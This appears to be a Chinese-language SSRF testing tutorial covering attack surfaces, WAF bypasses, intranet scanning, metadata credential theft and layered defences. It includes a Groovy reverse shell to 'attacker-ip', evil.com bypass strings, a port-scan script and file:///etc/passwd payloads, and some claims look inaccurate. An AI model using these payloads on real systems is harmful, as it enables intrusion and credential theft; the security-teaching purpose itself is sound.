1. SSRF漏洞的本质与危害
SSRF(Server-Side Request Forgery)服务端请求伪造,本质上是一种让服务器代替攻击者发起非预期网络请求的安全漏洞。想象一下,你让快递员去取个包裹,结果他拿着你的取件码把整个快递站都搬空了——这就是SSRF的典型场景。
这种漏洞的独特之处在于,它利用了服务器对内部网络的信任关系。当应用程序未对用户提供的URL进行严格校验时,攻击者就能操纵服务器向内部系统发起请求。我在实际渗透测试中发现,这类漏洞常出现在以下功能场景:
- 网页内容抓取/预览功能
- 文件导入导出接口
- 第三方服务集成模块
- 数据采集与监控系统
特别提醒:2023年OWASP Top 10中,SSRF已从A10类别升级为独立风险项(A05:2021),这反映出该漏洞在云原生时代的危害正在加剧。
从技术影响维度看,SSRF可能造成三重杀伤链:
- 内部网络探测:通过服务器作为跳板扫描内网,绕过防火墙限制
- 敏感数据窃取:访问metadata服务(如AWS的169.254.169.254)
- 攻击链跳板:结合其他漏洞实现RCE(如Redis未授权访问)
最近遇到的真实案例:某电商平台的商品预览功能,通过构造file:///etc/passwd的URL参数,直接读取了服务器敏感文件。更严重的是,该服务器处于Kubernetes集群中,通过访问http://169.254.169.254/latest/meta-data/获取了IAM临时凭证,最终导致整个集群沦陷。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 漏洞挖掘的四大核心思路
2.1 输入点全面测绘
就像侦探勘查犯罪现场,挖掘SSRF首先要找到所有可能的"入口点"。我通常会从这三个层面进行梳理:
前端交互层面
- 显式URL参数:如
?url=https://example.com - 文件处理接口:图片上传、Office文档解析
- Webhook配置页面:要求填写回调地址
- 社交媒体分享预览功能
协议支持测试
使用Burp Suite的Collaborator功能,测试应用是否支持非常规协议:
code复制dict://<your-server>:<port>/test
gopher://<your-server>:<port>/_
ldap://<your-server>:<port>/
最近在某金融系统测试时,发现其支持redis://协议,直接通过SSRF攻破了内网的Redis服务。
隐蔽参数挖掘
通过以下方法发现隐藏参数:
- 反编译Android/iOS客户端
- 分析JavaScript文件中的AJAX请求
- 历史漏洞报告中的参数名(如
redirect_uri)
2.2 绕过防御的六种姿势
现代WAF对SSRF的防护越来越完善,但道高一尺魔高一丈。以下是实战中验证有效的绕过技巧:
DNS重绑定攻击
- 注册一个域名并设置极短TTL(如1秒)
- 首次解析返回合法IP通过校验
- 第二次解析返回内网IP(如127.0.0.1)
特殊字符混淆
code复制http://127.0.0.1:80@evil.com
http://127.0.0.1%[email protected]
http://0177.0.0.1(八进制IP)
云服务元数据接口变种
AWS新版元数据服务需要请求头:
code复制X-aws-ec2-metadata-token: TTL=60
但旧版接口http://169.254.169.254/latest/meta-data/仍广泛存在。
2.3 内部网络探测手法
当确认存在SSRF后,下一步就是绘制内网地图。我的自动化探测脚本通常包含:
python复制import requests
base_ip = '192.168.0.{}'
ports = [80, 443, 8080, 6379, 27017]
for i in range(1,255):
for port in ports:
try:
url = f"http://vulnerable-site.com/fetch?url=http://{base_ip.format(i)}:{port}"
resp = requests.get(url, timeout=3)
if resp.status_code != 403: # 假设403是默认拦截响应
print(f"[+] Found alive: {base_ip.format(i)}:{port}")
except:
pass
高效识别关键服务
- Redis:尝试执行
INFO命令 - MySQL:捕获认证错误包特征
- Kubernetes API:
/api/v1/namespaces/default/pods
2.4 漏洞组合利用实战
单纯的SSRF可能危害有限,但结合其他漏洞就能形成致命攻击链:
案例1:从SSRF到RCE
- 通过SSRF访问内网Jenkins(8080端口)
- 发现未授权Groovy脚本执行接口
- 提交反向Shell脚本:
groovy复制r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attacker-ip/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
案例2:云环境横向移动
- 读取AWS元数据获取临时凭证
- 使用aws-cli列出S3存储桶:
bash复制AWS_ACCESS_KEY_ID=xxx AWS_SECRET_ACCESS_KEY=yyy aws s3 ls
- 发现包含数据库备份的存储桶并下载
3. 防御体系的纵深构建
3.1 输入校验的黄金标准
基于OWASP建议,我总结出五层过滤规则:
- 协议白名单:仅允许http/https
java复制if(!url.startsWith("http://") && !url.startsWith("https://")){
throw new InvalidURLException();
}
- 域名黑名单:拦截元数据、内网IP段
code复制(^|\.)(localhost|169\.254|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)
- DNS双重校验:解析前后IP比对
python复制resolved_ip = socket.gethostbyname(parsed_url.hostname)
if resolved_ip in internal_ips:
raise SSRFProtectionError("Internal IP detected")
3.2 网络隔离最佳实践
出站流量管控
- 部署独立的代理服务器集群
- 为不同服务配置独立的出站规则
- 禁止服务器直接访问云元数据服务
案例:某次渗透测试发现
目标系统虽然做了URL校验,但服务器能直接访问Kubernetes API。通过构造:
code复制http://vulnerable/api?url=http://kubernetes.default.svc.cluster.local/api/v1/namespaces
最终获取了全部Pod信息。
3.3 监控与应急响应
建议部署以下检测规则:
yaml复制# Suricata规则示例
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Possible SSRF Attack";
flow:to_server; content:"url=http";
pcre:"/url=https?:\/\/[^&]*?(127\.0\.|10\.|192\.168\.|169\.254\.)/i";
sid:1000001; rev:1;)
关键日志监控点
- 非常规DNS查询(如metadata服务域名)
- 到内网IP的异常HTTP请求
- 非业务端口(如6379、27017)的连接尝试
4. 实战靶场与工具链
4.1 自建实验环境
推荐使用Docker快速搭建:
bash复制docker run -d --name ssrf-lab -p 8080:80 vulnerables/web-ssrf
典型测试用例
code复制http://localhost:8080/curl.php?url=file:///etc/passwd
http://localhost:8080/curl.php?url=http://169.254.169.254/latest/meta-data/
4.2 自动化扫描工具
SSRFmap进阶用法
bash复制python3 ssrfmap.py -r request.txt -p url -m portscan -l 300
参数说明:
-l:设置端口扫描线程数--ssl:强制HTTPS扫描--uagent:自定义User-Agent绕过WAF
Burp插件配置技巧
在Burp的Project options→Connections→Hostname Resolution中,添加:
code复制169.254.169.254 your-collaborator-domain.com
这样所有对元数据服务的请求都会被重定向到你的服务器。
4.3 云环境专项检测
针对AWS的检测脚本片段:
python复制import requests
metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
try:
token = requests.put("http://169.254.169.254/latest/api/token",
headers=headers, timeout=2).text
if token:
data = requests.get(metadata_url,
headers={"X-aws-ec2-metadata-token": token}).text
print("[!] Vulnerable to SSRF:", data.splitlines())
except:
pass
5. 企业级防御方案设计
在金融行业渗透测试中,我总结出这套防御矩阵:
网络层
- 部署专用代理集群,业务服务器禁止直连外网
- 对元数据服务IP实施出口流量阻断
- VPC划分多个安全域,严格控制东西向流量
应用层
- 实施请求目的地预检机制:
go复制func checkSSRF(url string) bool {
client := &http.Client{
Transport: &http.Transport{
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, _ := net.SplitHostPort(addr)
if isInternalIP(host) {
return nil, fmt.Errorf("SSRF attempt blocked")
}
return net.Dial(network, addr)
},
},
}
_, err := client.Get(url)
return err != nil
}
架构层
- 关键服务启用双向TLS认证
- 元数据服务使用临时令牌(如AWS IMDSv2)
- 定期进行红蓝对抗演练
在一次制造业客户的评估中,我们发现其MES系统存在SSRF漏洞。通过构造特殊URL,可以访问PLC控制接口:
code复制http://production-api/query?endpoint=http://plc-controller:502/read?addr=100&count=10
这种案例表明,SSRF在OT环境可能造成物理设备操控风险。
最后分享一个排查技巧:当遇到疑似SSRF防护拦截时,尝试在URL路径中添加/../进行路径遍历测试,某些校验逻辑可能只检查主机部分。例如:
code复制http://evil.com/../169.254.169.254/
这种变形在2023年某次攻防演练中成功绕过了三家厂商的WAF防护。
